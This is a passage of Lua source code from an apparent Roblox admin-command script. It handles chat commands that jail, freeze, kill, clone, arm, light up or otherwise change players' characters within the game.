- set.LoadOnClient(v,[[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]],false,'NoClip')
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "clip " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:FindFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
- for a, q in pairs(v.PlayerGui:children()) do if q.Name == GuiName.."NoClip" then q:Destroy() end end
- v.Character.Torso.Anchored = false
- wait(.1) v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jail " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local vname = v.Name
- local tools=Instance.new('Model')
- tools.Parent=game:service'Lighting'
- tools.Name=v.Name..' ~ Epix Jail Tools'
- local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
- local mod = Instance.new("Model", game.Workspace) mod.Name = v.Name .. " Epix Jail" table.insert(set.objects, mod)
- local value = Instance.new('StringValue',mod) value.Name='Player' value.Value=v.Name
- local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
- for l,k in next,k.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
- v.Character.Torso.CFrame = cf end)
- game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
- v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
- for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
- v.Character.Torso.CFrame = cf end)
- v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
- for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
- v.Character.Torso.CFrame = cf end)
- end)
- local bottom = top:Clone() bottom.Transparency = 1 bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
- local front = top:Clone() front.Transparency = 1 front.Reflectance = 0 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
- local back = front:Clone() back.Transparency = 1 back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
- local right = front:Clone() right.Transparency = 1 right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
- local left = right:Clone() left.Transparency = 1 left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
- local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
- local msh2 = msh:Clone() msh2.Parent = back
- local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
- local msh4 = msh3:Clone() msh4.Parent = left
- local brick = Instance.new('Part',mod)
- local box = Instance.new('SelectionBox',brick)
- box.Adornee=brick
- box.Color=BrickColor.new('White')
- brick.Anchored=true
- brick.CanCollide=false
- brick.Transparency=1
- brick.Size=Vector3.new(5,7,5)
- brick.CFrame=cf--*CFrame.new(0,-1,0)
- v.Character.Torso.CFrame = cf
- for l,k in next,v.Backpack:children() do
- if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then
- k.Parent=tools
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unjail " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then
- for a, jl in pairs(game.Workspace:children()) do
- if jl.Name == v.Name .. " Epix Jail" then
- jl:Destroy()
- end
- end
- for lolz,m in pairs(game:service'Lighting':children()) do
- if m.Name==v.Name..' ~ Epix Jail Tools' then
- for j,tewl in pairs(m:children()) do
- if tewl then
- tewl.Parent=v.Backpack
- end
- end
- end
- end
- game:service'Lighting'[v.Name..' ~ Jail Tools']:Destroy()
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "starttools " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "sword " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
- sword.GripForward = Vector3.new(-1,0,0)
- sword.GripPos = Vector3.new(0,0,-1.5)
- sword.GripRight = Vector3.new(0,1,0)
- sword.GripUp = Vector3.new(0,0,1)
- local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
- local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
- set.LoadScript('LocalScript',[[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local Damage = 15
- local SlashSound = Instance.new("Sound", script.Parent.Handle)
- SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
- SlashSound.Volume = 1
- local LungeSound = Instance.new("Sound", script.Parent.Handle)
- LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
- LungeSound.Volume = 1
- local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
- UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
- UnsheathSound.Volume = 1
- local last = 0
- script.Parent.Handle.Touched:connect(function(hit)
- if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
- local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
- hit.Parent.Humanoid:TakeDamage(Damage)
- end
- end)
- script.Parent.Activated:connect(function()
- if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
- script.Parent.Enabled = false
- local tick = game:service("RunService").Stepped:wait()
- if tick - last <= .2 then
- LungeSound:play()
- local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
- local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
- wait(.2)
- script.Parent.GripForward = Vector3.new(0,0,1)
- script.Parent.GripRight = Vector3.new(0,-1,0)
- script.Parent.GripUp = Vector3.new(-1,0,0)
- wait(.3)
- frc:Destroy() wait(.5)
- script.Parent.GripForward = Vector3.new(-1,0,0)
- script.Parent.GripRight = Vector3.new(0,1,0)
- script.Parent.GripUp = Vector3.new(0,0,1)
- else
- SlashSound:play()
- local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
- end
- last = tick
- script.Parent.Enabled = true
- end)
- script.Parent.Equipped:connect(function(mouse)
- for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
- UnsheathSound:play()
- script.Parent.Enabled = true
- if not mouse then return end
- mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
- end)]],'SwordScript',false,sword)
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "clone " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Archivable = true
- local cl = v.Character:Clone()
- table.insert(set.objects,cl)
- cl.Parent = game.Workspace
- cl:MoveTo(v.Character:GetModelCFrame().p)
- cl:MakeJoints()
- v.Character.Archivable = false
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "control " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Humanoid.PlatformStand = true
- local w = Instance.new("Weld", plr.Character.Torso )
- w.Part0 = plr.Character.Torso
- w.Part1 = v.Character.Torso
- local w2 = Instance.new("Weld", plr.Character.Head)
- w2.Part0 = plr.Character.Head
- w2.Part1 = v.Character.Head
- local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
- w3.Part0 = plr.Character:findFirstChild("Right Arm")
- w3.Part1 = v.Character:findFirstChild("Right Arm")
- local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
- w4.Part0 = plr.Character:findFirstChild("Left Arm")
- w4.Part1 = v.Character:findFirstChild("Left Arm")
- local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
- w5.Part0 = plr.Character:findFirstChild("Right Leg")
- w5.Part1 = v.Character:findFirstChild("Right Leg")
- local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
- w6.Part0 = plr.Character:findFirstChild("Left Leg")
- w6.Part1 = v.Character:findFirstChild("Left Leg")
- plr.Character.Head.face:Destroy()
- for i, p in pairs(v.Character:children()) do
- if p:IsA("BasePart") then
- p.CanCollide = false
- end
- end
- for i, p in pairs(plr.Character:children()) do
- if p:IsA("BasePart") then
- p.Transparency = 1
- elseif p:IsA("Hat") then
- p:Destroy()
- end
- end
- v.Character.Parent = plr.Character
- v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "refresh " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- local pos=v.Character.Torso.CFrame
- local temptools={}
- pcall(function() v.Character.Humanoid:UnequipTools() end)
- wait()
- for k,t in pairs(v.Backpack:children()) do
- if t:IsA('Tool') or t:IsA('Hopperbin') then
- table.insert(temptools,t)
- end
- end
- v:LoadCharacter()
- v.Character.Torso.CFrame=pos
- for d,f in pairs(v.Character:children()) do
- if f:IsA('ForceField') then f:Destroy() end
- end
- wait(1)
- v.Backpack:ClearAllChildren()
- for l,m in pairs(temptools) do
- m:clone().Parent=v.Backpack
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "kill " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v.Character:BreakJoints() end
- end))
- end
- end
- if msg:lower():sub(1,8) == "respawn " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then v:LoadCharacter()
- set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
- game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
- game.Workspace.CurrentCamera.FieldOfView=70]],false,set.AssignName())
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "trip " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "stun " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = true
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == 'ragdoll ' then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i,v in pairs(plrz) do
- coroutine.wrap(function()
- if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
- set.LoadOnClient(v,[[
- Character = game.Players.LocalPlayer.Character
- Humanoid = Character.Humanoid
- Torso = Character.Torso
- function OnDeath()
- print("Death")-- HAHA
- wait(0.00000001)
- Humanoid.Parent = nil
- if Torso then
- local Head = Character:FindFirstChild("Head")
- if Head then
- local Neck = Instance.new("Weld")
- Neck.Name = "Neck"
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.C0 = CFrame.new(0, 1.5, 0)
- Neck.C1 = CFrame.new()
- Neck.Parent = Torso
- end
- local Limb = Character:FindFirstChild("Right Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Arm")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftShoulder"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Right Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "RightHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- local Limb = Character:FindFirstChild("Left Leg")
- if Limb then
- Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
- local Joint = Instance.new("Glue")
- Joint.Name = "LeftHip"
- Joint.Part0 = Torso
- Joint.Part1 = Limb
- Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
- Joint.Parent = Torso
- local B = Instance.new("Part")
- B.TopSurface = 0
- B.BottomSurface = 0
- B.formFactor = "Symmetric"
- B.Size = Vector3.new(1, 1, 1)
- B.Transparency = 1
- B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
- B.Parent = Character
- local W = Instance.new("Weld")
- W.Part0 = Limb
- W.Part1 = B
- W.C0 = CFrame.new(0, -0.5, 0)
- W.Parent = Limb
- end
- end
- end
- Humanoid.Died:connect(OnDeath)
- Humanoid.Health=0
- ]],false,set.AssignName())
- end
- end)()
- end
- end
- if msg:lower():sub(1,7) == "unstun " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.PlatformStand = false
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "jump " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Jump = true
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "sit " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Sit = true
- end
- end))
- end
- end
- if msg:lower():sub(1,10) == "invisible " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(11))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "visible " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") and obj.Name~='HumanoidRootPart' then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "lock " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "unlock " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "explode " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local ex = Instance.new("Explosion", game.Workspace)
- ex.Position = v.Character.Torso.Position
- ex.BlastRadius=20
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "age " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v then set.Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
- end))
- end
- end
- if msg:lower():sub(1,6) == "light " then
- local chk1 = msg:lower():sub(7):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- local str = BrickColor.new('Bright blue').Color
- if chk1 then chk1 = chk1 + 6 plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- local teststr = msg:sub(chk1+1)
- if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
- end
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local p=Instance.new('PointLight',v.Character.Torso)
- table.insert(set.objects,p)
- p.Color=str
- p.Brightness=5
- p.Range=15
- end
- end)()
- end
- end
- if msg:lower():sub(1,8) == "unlight " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do
- if cl:IsA('PointLight') then cl:Destroy() end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "talk " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local message = msg:sub(chk1+1)
- for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(6,chk1-1))) do
- coroutine.wrap(function()
- game:service('Chat'):Chat(p.Character.Head,message,Enum.ChatColor.Blue)
- end)()
- end
- end
- if msg:lower():sub(1,5) == "fire " then
- local chk1 = msg:lower():sub(6):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- local str = BrickColor.new('Bright orange').Color
- if chk1 then chk1 = chk1 + 5
- plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- local teststr = msg:sub(chk1+1)
- if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
- end
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local f=Instance.new('Fire',v.Character.Torso)
- local p=Instance.new('PointLight',v.Character.Torso)
- table.insert(set.objects,f)
- table.insert(set.objects,p)
- p.Color=str
- p.Brightness=5
- p.Range=15
- f.Color=str
- f.SecondaryColor=str
- end
- end)()
- end
- end
- if msg:lower():sub(1,7) == "unfire " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") or cl:IsA('PointLight') then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "smoke " then
- local chk1 = msg:lower():sub(7):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- local str = BrickColor.new('Bright orange').Color
- if chk1 then chk1 = chk1 + 6
- plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- local teststr = msg:sub(chk1+1)
- if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
- end
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Smoke", v.Character.Torso) table.insert(set.objects, cl)
- cl.Color=str
- end
- end)()
- end
- end
- if msg:lower():sub(1,8) == "unsmoke " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "sparkles " then
- local chk1 = msg:lower():sub(10):find(" ")
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- local str = BrickColor.new('Bright blue').Color
- if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1))
- local teststr = msg:sub(chk1+1)
- if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
- end
- for i, v in pairs(plrz) do
- coroutine.wrap(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(set.objects, cl)
- local p=Instance.new('PointLight',v.Character.Torso) table.insert(set.objects, p)
- p.Color=str
- p.Brightness=5
- p.Range=15
- cl.SparkleColor=str
- end
- end)()
- end
- end
- if msg:lower():sub(1,11) == "unsparkles " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") or cl:IsA('PointLight') then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,3) == "ff " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(4))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then Instance.new("ForceField", v.Character) end
- end))
- end
- end
- if msg:lower():sub(1,5) == "unff " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "punish " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Lighting")
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "unpunish " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(10))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- v.Character.Parent = game:service("Workspace")
- v.Character:MakeJoints()
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "freeze " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "thaw " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- for a, obj in pairs(v.Character:children()) do
- if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "heal " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,4) == "god " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(5))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = math.huge
- v.Character.Humanoid.Health = 9e9
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "ungod " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = 100
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "ambient " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
